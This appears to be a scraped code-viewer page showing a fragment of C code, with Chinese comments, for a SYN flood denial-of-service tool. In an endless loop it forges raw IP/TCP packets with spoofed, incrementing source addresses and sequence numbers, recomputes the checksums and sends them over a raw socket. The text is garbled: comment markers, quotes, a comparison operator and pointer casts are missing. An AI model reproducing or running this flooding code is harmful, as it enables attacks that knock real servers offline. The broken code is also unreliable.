📄 7.txt
字号:
while(1)
{
每发送10000个报文输出一个标示符
printf(.);
for(counter=0;counter10000;counter++){
if(SendSEQ++==65536) SendSEQ=1;序列号循环
更改IP首部
ip_header.checksum=0;16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);32位源IP地址
更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ);SYN序列号
tcp_header.th_sum=0; 校验和
更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT )SendBuf,datasize);
填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
发送TCP报文
ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr) &DestAddr, sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf(nSend Error%dn,GetLastError());
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -